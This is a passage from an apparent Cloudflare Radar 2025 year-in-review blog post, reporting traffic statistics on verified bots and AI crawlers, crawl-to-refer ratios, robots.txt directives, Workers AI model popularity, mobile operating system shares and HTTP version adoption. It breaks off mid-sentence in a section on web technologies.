    <p>The new <a href="https://radar.cloudflare.com/bots/directory?kind=all"><u>Bots Directory</u></a> on Cloudflare Radar provides a wealth of information about <a href="https://developers.cloudflare.com/bots/concepts/bot/verified-bots/"><u>Verified Bots</u></a> and <a href="https://developers.cloudflare.com/bots/concepts/bot/signed-agents/"><u>Signed Agents</u></a>, including their operators, categories, and associated user agents, links to documentation, and traffic trends. Verified Bots must conform to a <a href="https://developers.cloudflare.com/bots/concepts/bot/verified-bots/policy/"><u>set of requirements</u></a> as well as being verified through either <a href="https://developers.cloudflare.com/bots/reference/bot-verification/web-bot-auth/"><u>Web Bot Auth</u></a> or <a href="https://developers.cloudflare.com/bots/reference/bot-verification/ip-validation/"><u>IP validation</u></a>. A signed agent is controlled by an end user and a verified signature-agent from their <a href="https://developers.cloudflare.com/bots/reference/bot-verification/web-bot-auth/"><u>Web Bot Auth</u></a> implementation, and must conform to a separate <a href="https://developers.cloudflare.com/bots/concepts/bot/signed-agents/policy/"><u>set of requirements</u></a>.</p><p><a href="https://radar.cloudflare.com/bots/directory/google"><u>Googlebot</u></a> is used to crawl Web site content for search indexing and AI training, and it was far and away the <a href="https://radar.cloudflare.com/year-in-review/2025/#per-bot-traffic"><u>most active bot seen by Cloudflare</u></a> throughout 2025. It was most active between mid-February and mid-July, peaking in mid-April, and was responsible for over 28% of traffic from Verified Bots. Other Google-operated bots that were responsible for notable amounts of traffic included <a href="https://radar.cloudflare.com/bots/directory/googleads"><u>Google AdsBot</u></a> (used to monitor Web sites where Google ads are served), <a href="https://radar.cloudflare.com/bots/directory/googleimageproxy"><u>Google Image Proxy</u></a> (used to retrieve and cache images embedded in email messages), and <a href="https://radar.cloudflare.com/bots/directory/google-other"><u>GoogleOther</u></a> (used by various product teams for fetching publicly accessible content from sites).</p><p>OpenAI’s <a href="https://radar.cloudflare.com/bots/directory/gptbot"><u>GPTBot</u></a>, which crawls content for AI training, was the next most active bot, originating about 7.5% of Verified Bot traffic, with fairly volatile crawling activity during the first half of the year. Microsoft’s <a href="https://radar.cloudflare.com/bots/directory/bing"><u>Bingbot</u></a> crawls Web site content for search indexing and AI training and generated 6% of Verified Bot traffic throughout the year, showing relatively stable activity. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/01CNwrALbfJ1DBJpX3hHvw/58f278f76b4e57d095e5e61b879f3728/BLOG-3077_16_-_traffic-verifiedbot-bots.png" />
          </figure><p><sup><i>Verified Bot traffic trends in 2025, worldwide</i></sup></p><p>Search engine crawlers and AI crawlers are the two most active Verified Bot categories, with traffic patterns mapping closely to the leading bots in those categories, including GoogleBot and OpenAI’s GPTBot. <a href="https://radar.cloudflare.com/bots/directory?category=SEARCH_ENGINE_CRAWLER&amp;kind=all"><u>Search engine crawlers</u></a> were responsible for 40% of Verified Bot traffic, with <a href="https://radar.cloudflare.com/bots/directory?category=AI_CRAWLER&amp;kind=all"><u>AI crawlers</u></a> generating half as much (20%). <a href="https://radar.cloudflare.com/bots/directory?category=SEARCH_ENGINE_OPTIMIZATION&amp;kind=all"><u>Search engine optimization</u></a> bots were also quite active, driving over 13% of requests from Verified Bots.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6IFOI7astEqMk1fqLPvhMK/860c1b28fe6d2987b7bcd8510d1495b5/BLOG-3077_17_-_traffic-verifiedbots-category.png" />
          </figure><p><sup><i>Verified Bot traffic trends by category in 2025, worldwide</i></sup></p>
    <div>
      <h2>AI insights</h2>
      <a href="#ai-insights">
        
      </a>
    </div>
    
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7IY2MCHqrWK7wPO5XSrHwc/2d4622db6417472e2702c31a95d31cef/BLOG-3077_18_-_.png" />
          </figure>
    <div>
      <h2> Crawl volume from dual-purpose Googlebot dwarfed other AI bots and crawlers</h2>
      <a href="#crawl-volume-from-dual-purpose-googlebot-dwarfed-other-ai-bots-and-crawlers">
        
      </a>
    </div>
    <p>In September, a Cloudflare <a href="https://blog.cloudflare.com/building-a-better-internet-with-responsible-ai-bot-principles/"><u>blog post</u></a> laid out a proposal for responsible AI bot principles, one of which was “AI bots should have one distinct purpose and declare it.” In the <a href="https://radar.cloudflare.com/ai-insights#ai-bot-best-practices"><u>AI bots best practices overview</u></a> on Radar, we note that several bot operators have dual-purpose crawlers, including Google and Microsoft.</p><p>Because <a href="https://radar.cloudflare.com/bots/directory/google"><u>Googlebot</u></a> crawls for both search engine indexing and AI training, we have included it in this year’s <a href="https://radar.cloudflare.com/year-in-review/2025/#ai-bot-and-crawler-traffic"><u>AI crawler overview</u></a>. In 2025, its crawl volume dwarfed that of other leading AI bots. Request traffic began to increase in mid-February, peaking in late April, and then slowly declined through late July. After that, it grew gradually into the end of the year. <a href="https://radar.cloudflare.com/bots/directory/bing"><u>Bingbot</u></a> also has a similar dual purpose, although its crawl volume is a fraction of Googlebot’s. Bingbot’s crawl activity trended generally upwards across the year.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/14AYO1s8q9J0zN9gcTaz0h/d60ad6cdd7af04938d98eda081bea834/BLOG-3077_19_-_ai-botandcrawlertraffic.png" />
          </figure><p><sup><i>AI crawler traffic trends in 2025, worldwide</i></sup></p><p>OpenAI’s <a href="https://radar.cloudflare.com/bots/directory/gptbot"><u>GPTBot</u></a> is used to crawl content that may be used in training OpenAI's generative AI foundation models. Its crawling activity was quite volatile across the year, reaching its highest levels in June, but it ended November slightly above the crawl levels seen at the beginning of the year. </p><p>Crawl volume for OpenAI’s <a href="https://radar.cloudflare.com/bots/directory/chatgpt-user"><u>ChatGPT-User</u></a>, which visits Web pages when users ask ChatGPT or a CustomGPT questions, saw sustained growth over the course of the year, with a weekly usage pattern becoming more evident starting in mid-February, suggesting increasing usage at schools and in the workplace. Peak request volumes were as much as 16x higher than at the beginning of the year. A drop in activity was also evident in the June to August timeframe, when many students were out of school and many professionals took vacation time. </p><p><a href="https://radar.cloudflare.com/bots/directory/oai-searchbot"><u>OAI-SearchBot</u></a>, which is used to link to and surface websites in search results in ChatGPT's search features, saw crawling activity grow gradually through August, then several traffic spikes in August and September, before starting to grow more aggressively heading into October, with peak request volume during a late October spike approximately 5x higher than the beginning of the year.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2Y39lUtvOLcaxwSwop4Egs/b9790ef1314a35ff811e4ed09d875271/BLOG-3077_20_-_image59.png" />
          </figure><p><sup><i>OpenAI crawler traffic trends in 2025, worldwide</i></sup></p><p>Crawling by Anthropic’s ClaudeBot effectively doubled through the first half of the year, but gradually declined during the second half, returning to a level approximately 10% higher than the start of the year. Perplexity’s PerplexityBot crawling traffic grew slowly through January and February, but saw a big jump in activity from mid-March into April. After that, growth was more gradual through October, before seeing a significant increase again in November, winding up about 3.5x higher than where it started the year.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4PgjYaCVUzZgmt23SdKj6q/142ebab34ffbea6dd6770bcebdf2f1d2/BLOG-3077_21_-_image42.png" />
          </figure><p><sup><i>ClaudeBot traffic trends in 2025, worldwide</i></sup></p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/hkDU4jX6T7GibKUxDqycO/c0eab7d698916d05ef7314973974ef5d/BLOG-3077_22_-_.png" />
          </figure><p><sup><i>PerplexityBot traffic trends in 2025, worldwide</i></sup></p><p>ByteDance’s Bytespider, one of 2024’s top AI crawlers, saw crawling volume below several other training bots, and its activity dropped across the year, continuing the decline observed last year.</p>
    <div>
      <h3>AI “user action” crawling increased by over 15x in 2025</h3>
      <a href="#ai-user-action-crawling-increased-by-over-15x-in-2025">
        
      </a>
    </div>
    <p>Most AI bot crawling is done for one of three <a href="https://radar.cloudflare.com/year-in-review/2025/#ai-crawler-traffic-by-purpose"><u>purposes</u></a>: training, which gathers Web site content for AI model training; search, which indexes Web site content for search functionality available on AI platforms; and user action, which visits Web sites in response to user questions posed to a chatbot. Note that search crawling may also include crawling for <a href="https://developers.cloudflare.com/ai-search/concepts/what-is-rag/"><u>Retrieval-Augmented Generation (RAG)</u></a>, which enables a content owner to bring their own data into LLM generation without retraining or fine-tuning a model. (A fourth “undeclared” purpose captures traffic from AI bots whose crawling purpose is unclear or unknown.)</p><p>Crawling for model training is responsible for the overwhelming majority of AI crawler traffic, reaching as much as 7-8x search crawling and 32x user action crawling at peak. The training traffic figure is heavily influenced by OpenAI’s GPTBot, and as such, it followed a very similar pattern through the year.</p><p>Crawling for search was strongest through mid-March, when it dropped by approximately 40%. It returned to more gradual growth after that, though it ended the surveyed time period just under 10% lower than the start of the year.</p><p>User action crawling started 2025 with the lowest crawl volume of the three defined purposes, but more than doubled through January and February. It again doubled in early March, and from there, it continued to grow throughout the year, up over 21x from January through early December. This growth maps very closely to the traffic trends seen for OpenAI’s ChatGPT-User bot.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/Cs9yjb8rpfwiOgfGmYGxx/7e11b9014a69b84af3b7b25cde4e73ac/BLOG-3077_23_-_ai-crawlpurpose-useraction.png" />
          </figure><p><sup><i>User action crawler traffic trends in 2025, worldwide</i></sup></p>
    <div>
      <h3>While other AI bots accounted for 4.2% of HTML request traffic, Googlebot alone accounted for 4.5%</h3>
      <a href="#while-other-ai-bots-accounted-for-4-2-of-html-request-traffic-googlebot-alone-accounted-for-4-5">
        
      </a>
    </div>
    <p>AI bots have frequently been in the news during 2025 as content owners raise concerns about the amount of traffic that they are generating, especially as much of it <a href="https://blog.cloudflare.com/content-independence-day-no-ai-crawl-without-compensation/"><u>does not translate into</u></a> end users being referred back to the source Web sites. To better understand the impact of AI bot crawling activity, as compared to non-AI bots and human Web usage, we analyzed request traffic for HTML content across Cloudflare’s customer base and <a href="https://radar.cloudflare.com/year-in-review/2025/#ai-traffic-share"><u>classified it</u></a> as coming from a human, an AI bot, or another “non-AI” type of bot. (Note that because we are focusing on just HTML content here, the bot and human shares of traffic will differ from that shown on Radar, which analyzes request traffic for all content types.) Because Googlebot crawls so actively, and is dual-purpose, we have broken its share out separately in this analysis.</p><p>Throughout 2025, we found that traffic from AI bots accounted for an average of 4.2% of HTML requests. The share varied widely throughout the year, dropping as low as 2.4% in early April, and reaching as high as 6.4% in late June.</p><p>To that end, non-AI bots started 2025 responsible for half of requests to HTML pages, seven percentage points above human-generated traffic. This gap grew as wide as 25 percentage points during the first few days of June. However, these traffic shares began to draw closer together starting in mid June, and starting on September 11, entered a period where the human generated share of HTML traffic sometimes exceeded that of non-AI bots. As of December 2, human traffic generated 47% of HTML requests, and non-AI bots generated 44%.</p><p>Googlebot is a particularly voracious crawler, and this year it originated 4.5% of HTML requests, a share slightly larger than AI bots in aggregate. Starting the year at just under 2.5%, its share ramped quickly over the next four months, peaking at 11% in late April. It subsequently fell back towards its starting point over the next several months, and then grew again during the second half of the year, ending with a 5% share. This share shift largely mirrors Googlebot’s crawling activity as discussed above.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/69Kmxq3C29UO0AM7yWOJmY/411e1fe6e4799ae08cfdfec8783a8a71/BLOG-3077_24_-_ai-aibottrafficshare.png" />
          </figure><p><sup><i>HTML traffic shares by bot type in 2025, worldwide</i></sup></p>
    <div>
      <h3>Anthropic had the highest crawl-to-refer ratio among the leading AI and search platforms</h3>
      <a href="#anthropic-had-the-highest-crawl-to-refer-ratio-among-the-leading-ai-and-search-platforms">
        
      </a>
    </div>
    <p>We <a href="https://blog.cloudflare.com/ai-search-crawl-refer-ratio-on-radar/"><u>launched the crawl-to-refer ratio metric on Radar</u></a> on July 1 to track how often a given AI or search platform sends traffic to a site relative to how often it crawls that site. A high ratio means a whole lot of AI crawling without sending actual humans to a Web site.</p><p>It can be a volatile metric, with the values shifting day-by-day as crawl activity and referral traffic change. This <a href="https://blog.cloudflare.com/ai-search-crawl-refer-ratio-on-radar/#how-does-this-measurement-work"><u>metric compares</u></a> total number of requests from relevant user agents associated with a given search or AI platform where the response was of Content-type: text/html by the total number of requests for HTML content where the Referer header contained a hostname associated with a given search or AI platform. </p><p>Anthropic had the highest <a href="https://radar.cloudflare.com/year-in-review/2025/#crawl-refer-ratio"><u>crawl-to-refer ratios this year</u></a>, reaching as much as 500,000:1, although they were quite erratic from January through May. Both the magnitude and erratic nature of the metric was likely due to sparse referral traffic over that time period. After that, the ratios became more consistent, but remained higher than others, ranging from ~25,000:1 to ~100,000:1.</p><p>OpenAI’s ratios over time were quite spiky, and reached as much as 3,700:1 in March. These shifts may be due to the stabilization of GPTBot crawling activity, coupled with increased usage of ChatGPT search functionality, which includes links back to source Web sites within its responses. Users following those links would increase Referer counts, potentially lowering the ratio. (Assuming that crawl traffic wasn’t increasing at a similar or greater rate.)</p><p>Perplexity had the lowest crawl-to-refer ratios of the major AI platforms, starting the year below 100:1 before spiking in late March above 700:1, concurrent with a spike of crawl traffic seen from PerplexityBot.  Settling back down after the spike, peak ratio values generally remained below 400:1, and below 200:1 from September onwards.</p><p>Among search platforms, Microsoft’s ratio unexpectedly exhibited a cyclical weekly pattern, reaching its lowest levels on Thursdays, and peaking on Sundays. Peak ratio values were generally in the 50:1 to 70:1 range across the year. Starting the year just over 3:1, Google’s crawl-to-refer ratio increased steadily through April, reaching as high as 30:1. After peaking, it fell somewhat erratically through mid-July, dropping back to 3:1, although it has been slowly increasing through the latter half of 2025. DuckDuckGo’s ratio remained below 1:1 for the first three calendar quarters of 2025, but experienced a sudden jump to 1.5:1 in mid-October and stayed elevated for the remainder of the period.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/Z0LM4kJGevPxirhokT85o/401363b41b9f5987fe06976197967d9a/BLOG-3077_25_-_ai-crawltoreferratios.png" />
          </figure><p><sup><i>AI &amp; search platform crawl-to-refer ratios in 2025, worldwide</i></sup></p>
    <div>
      <h3>AI crawlers were the most frequently fully disallowed user agents found in robots.txt files</h3>
      <a href="#ai-crawlers-were-the-most-frequently-fully-disallowed-user-agents-found-in-robots-txt-files">
        
      </a>
    </div>
    <p>The robots.txt file, formally defined in <a href="https://www.rfc-editor.org/rfc/rfc9309.html"><u>RFC 9309</u></a> as the Robots Exclusion Protocol, is a text file that content owners can use to signal to Web crawlers which parts of a Web site the crawlers are allowed to access, using directives to explicitly allow or disallow search and AI crawlers from their whole site, or just parts of it. The directives within the file are effectively a “keep out” sign and don’t provide any formal access control. Having said that, Cloudflare’s <a href="https://blog.cloudflare.com/control-content-use-for-ai-training/#putting-up-a-guardrail-with-cloudflares-managed-robots-txt"><u>managed robots.txt</u></a> feature automatically updates a site’s existing robots.txt or creates a robots.txt file on the site that includes directives asking popular AI bot operators to not use the content for AI model training. In addition, our <a href="https://blog.cloudflare.com/ai-audit-enforcing-robots-txt/"><u>AI Crawl Control</u></a> capabilities can track violations of a site’s robots.txt directives, and give the site owner the ability to block requests from the offending user agent.</p><p>On Cloudflare Radar, we provide <a href="https://radar.cloudflare.com/ai-insights#ai-user-agents-found-in-robotstxt"><u>insight</u></a> into the number of robots.txt files found among our top 10,000 <a href="https://radar.cloudflare.com/domains"><u>domains</u></a> and the full/partial disposition of the allow and disallow directives found within the files for selected crawler user agents. (In this context, “full” refers to directives that apply to the whole site, and “partial” refers to directives that apply to specified paths or file types.) <a href="https://radar.cloudflare.com/year-in-review/2025/#robots-txt"><u>Within the Year in Review microsite</u></a>, we show how the disposition of these directives changed over the course of 2025.</p><p>The user agents with the highest number of fully disallowed directives are those associated with <a href="https://www.cloudflare.com/learning/ai/how-to-block-ai-crawlers/">AI crawlers</a>, including GPTBot, ClaudeBot, and <a href="https://www.theatlantic.com/technology/2025/11/common-crawl-ai-training-data/684567/"><u>CCBot</u></a>. The directives for Googlebot and Bingbot crawlers, used for both search indexing and AI training, leaned heavily towards partial disallow, likely focused on cordoning off login endpoints and other non-content areas of a site. For these two bots, directives applying to the whole site remained a small fraction of the total number of disallow directives observed through the year. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6hCZ4jExApvVaK2CrEulZO/5eb528b8851868d0c90b56e638ffae86/BLOG-3077_26_-_ai-robotstxt-disallow.png" />
          </figure><p><sup><i>Robots.txt disallow directives by user agent</i></sup></p><p>The number of explicit allow directives found across the discovered robots.txt files was a fraction of the observed disallow directives, likely because allow is the default policy, absent any specific directive. Googlebot had the largest number of explicit allow directives, although over half of them were partial allows. Allow directives targeting AI crawlers were found across fewer domains, with directives targeting OpenAI’s crawlers leaning more towards explicit full allows. </p><p><a href="https://developers.google.com/crawling/docs/crawlers-fetchers/google-common-crawlers#google-extended"><u>Google-Extended</u></a> is a user agent token that web publishers can use to manage whether content that Google crawls from their sites may be used for training <a href="https://deepmind.google/models/gemini/"><u>Gemini models</u></a> or providing site content from the Google Search index to Gemini, and the number of allow directives targeting it tripled during the year — most partially allowed access at the start of the year, while the end of the year saw a larger number of directives that explicitly allowed full site access than those that allowed access to just some of the site’s content. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6hCZ4jExApvVaK2CrEulZO/5eb528b8851868d0c90b56e638ffae86/BLOG-3077_26_-_ai-robotstxt-disallow.png" />
          </figure><p><sup><i>Robots.txt allow directives by user agent</i></sup></p>
    <div>
      <h3>On Workers AI, Meta’s llama-3-8b-instruct model was the most popular model, and text generation was the most popular task type</h3>
      <a href="#on-workers-ai-metas-llama-3-8b-instruct-model-was-the-most-popular-model-and-text-generation-was-the-most-popular-task-type">
        
      </a>
    </div>
    <p>The AI model landscape is rapidly evolving, with providers regularly releasing more powerful models, capable of tasks like text and image generation, speech recognition, and image classification. Cloudflare collaborates with AI model providers to ensure that <a href="https://developers.cloudflare.com/workers-ai/models/"><u>Workers AI supports these models</u></a> as soon as possible following their release, and we <a href="https://blog.cloudflare.com/replicate-joins-cloudflare/"><u>recently acquired Replicate</u></a> to greatly expand our catalog of supported models. In <a href="https://blog.cloudflare.com/expanded-ai-insights-on-cloudflare-radar/#popularity-of-models-and-tasks-on-workers-ai"><u>February 2025</u></a>, we introduced visibility on Radar into the popularity of publicly available supported <a href="https://radar.cloudflare.com/ai-insights/#workers-ai-model-popularity"><u>models</u></a> as well as the types of <a href="https://radar.cloudflare.com/ai-insights/#workers-ai-task-popularity"><u>tasks</u></a> that these models perform, based on customer account share. </p><p><a href="https://radar.cloudflare.com/year-in-review/2025/#workers-ai-model-and-task-popularity"><u>Throughout the year</u></a>, Meta’s <a href="https://developers.cloudflare.com/workers-ai/models/llama-3-8b-instruct/"><u>llama-3-8b-instruct</u></a> model was dominant, with an account share (36.3%) more than three times larger than the next most popular models, OpenAI’s <a href="https://developers.cloudflare.com/workers-ai/models/whisper/"><u>whisper</u></a> (10.1%) and Stability AI’s <a href="https://developers.cloudflare.com/workers-ai/models/stable-diffusion-xl-base-1.0/"><u>stable-diffusion-xl-base-1.0</u></a> (9.8%). Both Meta and BAAI (Beijing Academy of Artificial Intelligence) had multiple models among the top 10, and the top 10 models had an account share of 89%, with the balance spread across a long tail of other models.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1a3GPm3cqrr0KcK6nCeLRZ/fd5ba576f02518c50fd6efbe312cacae/BLOG-3077_28_-_ai-workersaimostpopularmodels.png" />
          </figure><p><sup><i>Most popular models on Workers AI in 2025, worldwide</i></sup></p><p>Task popularity was driven in large part by the top models, with text generation, text-to-image, and automatic speech recognition topping the list. Text generation was used by 48.2% of Workers AI customer accounts, nearly four times more than the text-to-image share of 12.3% and automatic speech recognition’s 11.0% share. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3JxZW6bB7q0kxnzPrh454m/b057fd945ce521aceaf0e8cd27b14f3d/BLOG-3077_29_-_ai-workersaimostpopulartasks.png" />
          </figure><p><sup><i>Most popular tasks on Workers AI in 2025, worldwide</i></sup></p>
    <div>
      <h2>What’s being crawled</h2>
      <a href="#whats-being-crawled">
        
      </a>
    </div>
    <p>In addition to the year-to-date analysis presented above, below we present point-in-time analyses of what is being crawled. Note that these insights are not included in the Year in Review microsite.</p>
    <div>
      <h3>Crawling by geographic region</h3>
      <a href="#crawling-by-geographic-region">
        
      </a>
    </div>
    <p>Within the AI section of Year in Review, we are looking at traffic from AI bots and crawlers globally, without regard for the geography associated with the account that owns the content being crawled. If we drill down a level geographically, using data from October 2025, and look at which bots generate the most crawling traffic for sites owned by customers with a billing address in a given geographic region, we find that Googlebot accounts for between 35% and 55% of crawler traffic in each region.</p><p>OpenAI’s GPTBot or Microsoft’s Bingbot are second most active, with crawling shares of 13-14%. In the developed economies across North America, Europe, and Oceania, Bingbot maintains a solid lead over AI crawlers. But for sites based in fast-growing markets across South America and Asia, GPTBot holds a slimmer lead over Bingbot.</p><table><tr><th><p><b>Geographic region</b></p></th><th><p><b>Top crawlers</b></p></th></tr><tr><td><p>North America</p></td><td><p>Googlebot (45.5%)
Bingbot (14.0%)</p><p>Meta-ExternalAgent (7.7%)</p></td></tr><tr><td><p>South America</p></td><td><p>Googlebot (44.2%)
GPTBot (13.8%)
Bingbot (13.5%)</p></td></tr><tr><td><p>Europe</p></td><td><p>Googlebot (48.6%)
Bingbot (13.2%)
GPTBot (10.8%)</p></td></tr><tr><td><p>Asia</p></td><td><p>Googlebot (39.0%)
GPTBot (14.0%)
Bingbot (12.6%)</p></td></tr><tr><td><p>Africa</p></td><td><p>Googlebot (35.8%)
Bingbot (13.7%)
GPTBot (13.1%)</p></td></tr><tr><td><p>Oceania</p></td><td><p>Googlebot (54.2%)
Bingbot (13.8%)
GPTBot (6.6%)</p></td></tr></table>
    <div>
      <h3>Crawling by industry</h3>
      <a href="#crawling-by-industry">
        
      </a>
    </div>
    <p>In analyzing AI crawler activity by customer industry during October 2025, we found that Retail and Computer Software consistently attracted the most AI crawler traffic, together representing just over 40% of all activity.</p><p>Others in the top 10 accounted for much smaller shares of crawling activity. These top 10 industries accounted for just under 70% of crawling, with the balance spread across a long tail of other industries.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2N55U6SrN7zKkCp66hmhFz/304b038e492e4eda249f3b1fdb664b4a/BLOG-3077_30_-_AI-crawlbyindustry.png" />
          </figure><p><sup><i>Industry share of AI crawling activity, October 2025</i></sup></p>
    <div>
      <h2>Adoption &amp; usage</h2>
      <a href="#adoption-usage">
        
      </a>
    </div>
    
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/73LdMVjBBlMOnQGi8LF4oy/f659eaf5d95219e5b54d62b9e16db809/BLOG-3077_31_-_image35.png" />
          </figure>
    <div>
      <h3>iOS devices generated 35% of mobile device traffic globally – and more than half of device traffic in many countries</h3>
      <a href="#ios-devices-generated-35-of-mobile-device-traffic-globally-and-more-than-half-of-device-traffic-in-many-countries">
        
      </a>
    </div>
    <p>The two leading mobile device operating systems globally are <a href="https://en.wikipedia.org/wiki/IOS"><u>Apple’s iOS</u></a> and <a href="https://en.wikipedia.org/wiki/Android_(operating_system)"><u>Google’s Android</u></a>. By analyzing information in the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent"><u>User-Agent</u></a> header included with each Web request, we can calculate the distribution of traffic by client operating system throughout the year. Android devices generate the majority of mobile device traffic globally, due to the wide distribution of price points, form factors, and capabilities of such devices.</p><p>Globally, the <a href="https://radar.cloudflare.com/year-in-review/2025/#ios-vs-android"><u>share of traffic from iOS</u></a> grew slightly <a href="https://blog.cloudflare.com/radar-2024-year-in-review/#globally-nearly-one-third-of-mobile-device-traffic-was-from-apple-ios-devices-android-had-a-90-share-of-mobile-device-traffic-in-29-countries-regions-peak-ios-mobile-device-traffic-share-was-over-60-in-eight-countries-regions"><u>year-over-year</u></a>, up two percentage points to 35% in 2025. Looking at the top countries for iOS traffic share, <a href="https://radar.cloudflare.com/year-in-review/2025/mc#ios-vs-android"><u>Monaco</u></a> had the highest share, at 70%, and iOS drove 50% or more of mobile device traffic in a total of 30 countries/regions, including <a href="https://radar.cloudflare.com/year-in-review/2025/dk#ios-vs-android"><u>Denmark</u></a> (65%), <a href="https://radar.cloudflare.com/year-in-review/2025/jp#ios-vs-android"><u>Japan</u></a> (57%), and <a href="https://radar.cloudflare.com/year-in-review/2025/pr#ios-vs-android"><u>Puerto Rico</u></a> (52%).</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/btCnb93d23FUPVfkupEGb/79574bfd6f045f88d6331caf488f37a5/BLOG-3077_32_-_adoption-iosvsandroid.png" />
          </figure><p><sup><i>Distribution of mobile device traffic by operating system in 2025, worldwide</i></sup></p><p>For countries/regions with higher Android usage, the shares were significantly larger. Twenty-seven had Android adoption above 90% in 2025, with <a href="https://radar.cloudflare.com/year-in-review/2025/pg#ios-vs-android"><u>Papua New Guinea</u></a> the highest at 97%. <a href="https://radar.cloudflare.com/year-in-review/2025/sd#ios-vs-android"><u>Sudan</u></a>, <a href="https://radar.cloudflare.com/year-in-review/2025/mw#ios-vs-android"><u>Malawi</u></a>, <a href="https://radar.cloudflare.com/year-in-review/2025/bd#ios-vs-android"><u>Bangladesh</u></a>, and <a href="https://radar.cloudflare.com/year-in-review/2025/et#ios-vs-android"><u>Ethiopia</u></a> also registered an Android share of 95% or more. Android was responsible for 50% or more of mobile device traffic in 175 countries/regions, with the <a href="https://radar.cloudflare.com/year-in-review/2025/bs#ios-vs-android"><u>Bahamas</u></a>’ 51% share placing it at the bottom of that list. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2SAm11BSUjgT2uBOfMT4dU/67d85c4786bb8bfe924f92f28956e5b6/BLOG-3077_33_-_adoption-iosvsandroid-map.png" />
          </figure><p><sup><i>Distribution of iOS and Android usage in 2025</i></sup></p>
    <div>
      <h3>The shares of global Web requests using HTTP/3 and HTTP/2 both increased slightly in 2025</h3>
      <a href="#the-shares-of-global-web-requests-using-http-3-and-http-2-both-increased-slightly-in-2025">
        
      </a>
    </div>
    <p>HTTP (HyperText Transfer Protocol) is the protocol that makes the Web work. Over the last 30+ years, it has gone through several major revisions. The first standardized version, <a href="https://datatracker.ietf.org/doc/html/rfc1945"><u>HTTP/1.0</u></a>, was adopted in 1996, <a href="https://www.rfc-editor.org/rfc/rfc2616.html"><u>HTTP/1.1</u></a> in 1999, and <a href="https://www.rfc-editor.org/rfc/rfc7540.html"><u>HTTP/2</u></a> in 2015. <a href="https://www.rfc-editor.org/rfc/rfc9114.html"><u>HTTP/3</u></a>, standardized in 2022, marked a significant update, running on top of a new transport protocol known as <a href="https://blog.cloudflare.com/the-road-to-quic/"><u>QUIC</u></a>. Using QUIC as its underlying transport allows <a href="https://www.cloudflare.com/learning/performance/what-is-http3/"><u>HTTP/3</u></a> to establish connections more quickly, as well as deliver improved performance by mitigating the effects of packet loss and network changes. Because it also provides encryption by default, using HTTP/3 mitigates the risk of attacks. </p><p><a href="https://radar.cloudflare.com/year-in-review/2025/#http-versions"><u>Globally in 2025</u></a>, 50% of requests to Cloudflare were made over HTTP/2, HTTP/1.x accounted for 29%, and the remaining 21% were made via HTTP/3. These shares are largely unchanged <a href="https://radar.cloudflare.com/year-in-review/2024#http-versions"><u>from 2024</u></a> — HTTP/2 and HTTP/3 gained just fractions of a percentage point this year.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1GdxQoS6Zgx6IPgHapkS8N/07d2d023e2e91f58793e7b4359faa263/BLOG-3077_34_-_adoption-httpversions.png" />
          </figure><p><sup><i>Distribution of traffic by HTTP version in 2025, worldwide</i></sup></p><p>Geographically, usage of HTTP/3 appears to be both increasing and spreading. Last year, we noted that we had found eight countries/regions sending more than a third of their requests over HTTP/3. In 2025, 15 countries/regions sent more than a third of requests over HTTP/3, with Georgia’s 38% adoption just exceeding 2024’s top adoption rate of 37% in Réunion. (Looking at <a href="https://radar.cloudflare.com/adoption-and-usage/ge?dateStart=2025-01-01&amp;dateEnd=2025-12-02"><u>historical data</u></a>, Georgia <a href="https://radar.cloudflare.com/adoption-and-usage/ge?dateStart=2025-01-01&amp;dateEnd=2025-01-07"><u>started the year</u></a> around 46% HTTP/3 adoption, but dropped through the first half of the year before leveling off.) Armenia had the largest increase in HTTP/3 adoption year-over-year, jumping from 25% to 37%. </p><p>Seven countries/regions saw overall HTTP/3 usage levels below 10% due to high levels of bot-originated HTTP/1.x traffic. These include Hong Kong, Dominica, Singapore, Ireland, Iran, Seychelles, and Gibraltar. </p>
    <div>
      <h3>JavaScript-based libraries and frameworks remained integral tools for building Web sites</h3>
      <a href="#javascript-based-libraries-and-frameworks-remained-integral-tools-for-building-web-sites">
        
      </a>
    </div>
    <p>To deliver a modern Web site, developers must capably integrate a growing collection of libraries and frameworks with third-party tools and platforms. All of these components must work together to ensure a performant, feature-rich, problem-free user experience. As in past years, we used <a href="https://radar.cloudflare.com/scan"><u>Cloudflare Radar’s URL Scanner</u></a> to scan Web sites associated with the <a href="https://radar.cloudflare.com/domains"><u>top 5,000 domains</u></a> to identify the <a href="https://radar.cloudflare.com/year-in-review/2025/#website-technologies"><u>most popular technologies and services</u></a> used across eleven categories. </p><p><a href="https://jquery.com/"><u>jQuery</u></a> is self-described as a fast, small, and feature-rich JavaScript library, and our scan found it on 8x as many sites as <a href="https://kenwheeler.github.io/slick/"><u>Slick</u></a>, a JavaScript library used to display image carousels. <a href="https://react.dev/"><u>React</u></a> remained the top JavaScript framework used for building Web interfaces, found on twice as many scanned sites as <a href="https://vuejs.org/"><u>Vue.js</u></a>. PHP, node.js, and Java remained the most popular programming languages/technologies, holding a commanding lead over other languages, including Ruby, Python, 